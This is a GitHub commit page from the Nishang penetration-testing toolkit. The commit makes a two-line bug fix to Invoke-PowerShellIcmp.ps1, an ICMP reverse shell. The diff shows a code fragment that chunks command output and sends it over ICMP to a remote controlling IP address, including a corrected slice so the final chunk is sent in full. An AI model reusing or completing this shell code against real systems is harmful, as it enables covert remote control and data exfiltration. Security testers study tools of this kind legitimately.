Skip to content

Commit

Permalink
Merge pull request #32 from ChiChou/fix_icmp_shell
Browse files Browse the repository at this point in the history
Fix wrong message in ICMP shell
  • Loading branch information
samratashok committed Jan 11, 2016
2 parents fc7dcba + 98ae76d commit c77e6dc
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions Shells/Invoke-PowerShellIcmp.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -87,10 +87,10 @@ https://github.com/samratashok/nishang
$ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
$i +=1
}
$remainingindex = $sendbytes.Length%$BufferSize
$remainingindex = $sendbytes.Length % $BufferSize
if ($remainingindex -ne 0)
{
$sendbytes2 = $sendbytes[($i*$BufferSize)..($remainingindex)]
$sendbytes2 = $sendbytes[($i*$BufferSize)..($sendbytes.Length)]
$ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
}
}
Expand Down

0 comments on commit c77e6dc

Please sign in to comment.